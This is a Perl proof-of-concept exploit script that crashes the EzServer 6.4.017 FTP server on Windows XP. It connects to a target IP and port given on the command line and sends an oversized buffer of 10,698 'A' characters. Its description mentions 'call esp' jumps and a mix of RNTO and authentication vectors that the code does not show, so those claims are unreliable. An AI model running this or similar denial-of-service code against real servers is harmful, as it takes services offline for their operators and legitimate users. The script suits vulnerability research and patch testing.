#!/usr/bin/perl
use IO::Socket;
# Exploit Title: EzServer 6.4.017 - Denied of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 22 january 2024
# Vendor Homepage: N/A
# Download to demo: https://drive.google.com/file/d/1hCYYsWsyeuoHTh3ZosNRbtIBxw0culsu/view?usp=sharing
# Notification vendor: No reported
# Tested Version: EzServer 6.4.017 - Denied of Service (DoS)
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denied of Service (DoS)
#1. Description
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The FTP server does not correctly handle the amount of data or bytes sent to command RNTO.
#When authenticating to the FTP server with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing Denied of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.
#2. Proof of Concept - PoC
$sis="$^O";
if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}
system("$cmd");
intro();
main();
print "[+] Exploiting... \n";
my $payload = "\x41"x10698;
my $sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => $port, Proto => 'tcp') or die "[-] Could not connect!\n";
$sock->send($payload);
$sock->close();
print "[+] Done - Exploited success!!!!!\n\n";
sub intro {
print q {
_/|
// o\
|| ._)
//__\
)___(
[+] EzServer 6.4.017 - Denied of Service (DoS)
[*] Coded by Fernando Mengali
[@] e-mail: fernando.mengalli@gmail.com
}
}
sub main {
our ($ip, $port) = @ARGV;
unless (defined($ip) && defined($port)) {
print " \nUsage: $0 <ip> <port> \n";
exit(-1);
}
}
